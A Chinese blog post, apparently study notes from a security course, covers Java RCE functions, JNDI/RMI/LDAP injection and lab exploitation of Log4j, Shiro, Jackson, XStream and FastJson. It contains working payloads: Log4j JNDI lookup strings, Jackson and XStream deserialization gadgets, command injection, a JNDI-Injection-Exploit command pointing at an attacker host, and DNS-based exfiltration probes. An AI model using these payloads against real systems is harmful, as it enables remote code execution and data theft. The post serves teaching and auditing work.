第67天:漏洞利用-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

第67天:漏洞利用-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网
Yatming的博客执行命令,得到输出结果。
RuntimeExec
GroovyExec
1 | "curl bt3509.dnslog.cn".execute() |
ProcessImpl
ProcessBuilder
1 | 127.0.0.1 | calc |
ScriptEngineManager
首先将payload保存到一个可以远程访问的js文件中:
1 | var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")}; |
总结
- 主要是来熟悉触发 java 的 RCE 的几个类和函数,后期发现和审计漏洞的时候直接搜相关类和函数即可
- 检测:(大部分白盒)
- 黑盒看参数名和参数值来猜测此处是否可能有执行,然后进测试
- 白盒看类函数名和可控变量
JNDI
含义
- JNDI 全称为 Java Naming and DirectoryInterface(Java 命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI 支持的服务主要有:DNS、LDAP、CORBA、RMI 等。我们经常用到的就是 RMI 和 LDAP
- RMI:远程方法调用注册表
- LDAP:轻量级目录访问协议
调用检索 (了解)
- Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。javax.naming.InitialContext.lookup ()
- 在 RMI 服务中调用了 InitialContext.lookup () 的类有:
- org.springframework.transaction.jta.JtaTransactionManager.readObject()
- com.sun.rowset.JdbcRowSetImpl.execute()
- javax.management.remote.rmi.RMIConnector.connect()
- org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
- 在 LDAP 服务中调用了 InitialContext.lookup () 的类有:
- InitialDirContext.lookup()
- Spring LdapTemplate.lookup()
- LdapTemplate.lookupContext()
总结
- 检测:
- 无黑盒思路 (黑盒是看不到的)
- 白盒看类函数名和可控变量
- 在漏洞利用时使用 jndi,如在 java 中 rce 时考虑 jndi
不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j
Log4j
历史漏洞:https://avd.aliyun.com/search?q=Log4j×tamp__1384=eqIxgDnDRG0%3DN405DIBAxfx7uC8n77QKF4D
1 | {jndi:ldap://nopklxrxqo.dgrh3.cn} #这里地址填写dnslog地址 |
Shiro
- Java 安全框架,能够用于身份验证、授权、加密和会话管理。
- 历史漏洞:
https://avd.aliyun.com/search?q=Shiro
- 特征:
- cookie 中有一个是 remember-me,如下面这个数据包,不是在cookie,在post—data字段
直接使用工具即可。
Jackson
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
特征:java 应用,若发送数据是 json 即可进行测试,无明显特征
历史漏洞:https://avd.aliyun.com/search?q=Jackson
使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具生成 ldap 协议地址填入测试
1 | ["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://10.20.0.92:1389/rpq5fq","autoCommit":"true"}] |
这里没有执行成功,猜测是java版本的问题。不想修改了。
XStream
- 开源 Java 类库,能将对象序列化成 XML 或 XML 反序列化为对象
- 漏洞描述:
- XStream 是一个轻量级、简单易用的开源 Java 类库,它主要用于将对象序列化成 XML(JSON)或反序列化为对象。 XStream 在解析 XML 文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用 sun.rmi.registry.RegistryImpl_Stub 构造 RMI 请求,进而执行任意命令。
- 历史漏洞:
https://avd.aliyun.com/search?q=XStream
- 特征:
- java 应用,若发送数据是 xml 即可进行测试
1 | <sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set> |
FastJson
- 阿里巴巴公司开源的 json 解析器,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
- 历史漏洞:
https://avd.aliyun.com/search?q=fastjson
- 特征:
- java 应用,若发送数据是 json 即可进行测试,明显特征是:
@type
- java 应用,若发送数据是 json 即可进行测试,明显特征是:
- 演示:
- 使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具生成 rmi 协议地址填入测试
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 10.20.0.92 |
白盒审计-FastJson
1 | 审计思路: |
数据库这些地方配置好。
环境没搭建好
- 找可控变量及访问实现
- 根据上图可以发现访问路由为 admin/product
- 接收参数为 propertyJson
- 测试出网回显调用访问
- 抓包获取访问路径为 admin/product 的 post 数据包,修改参数 propertyJson 为 {“@type”:”java.net.Inet4Address”,”val”:”atcuqbczqs.dnstunnel.run”}
其中 val 值为 dnslog 域名,测试结果发现有回显,说明存在漏洞
- 抓包获取访问路径为 admin/product 的 post 数据包,修改参数 propertyJson 为 {“@type”:”java.net.Inet4Address”,”val”:”atcuqbczqs.dnstunnel.run”}
Log4j 审计
- 看引用组件版本及实现
- 在 IDEA 中 ctrl+shift+f 全局搜索关键字及函数 logger.info logger.error
- 找可控变量及访问实现
- 根据上图可以发现访问路由为 admin/uploadAdminHeadImage
- 接收参数为 originalFileName
- 测试出网回显调用访问
- payload:ldap 协议才能使 dnslog 有回显,rmi 不行
1 | {jndi:ldap://jebqzwhwtn.dnstunnel.run} |
- 后续使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 这个工具生成测试地址,小迪启动这个靶场时是使用的内置的 java8 所以只有一个可以执行成功,我启动靶场的时候使用的是 jdk1.8.0_112,所以都可以执行成功。执行不成功的自己在 IDEA 看一下启动时候的 java 是什么版本。
黑盒测试不安全组件漏洞:见后续章节漏洞复现利用课程
不回显常见判断通用方法:
- 直接将执行结果写入到静态资源文件里,如 html、js 等,然后访问。
- 通过 dnslog 进行数据外带,但如果无法执行 dns 请求就无法验证了。
- 接将命令执行结果回显到请求 Poc 的 HTTP 响应中。
不回显常见判断细节方法参考:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果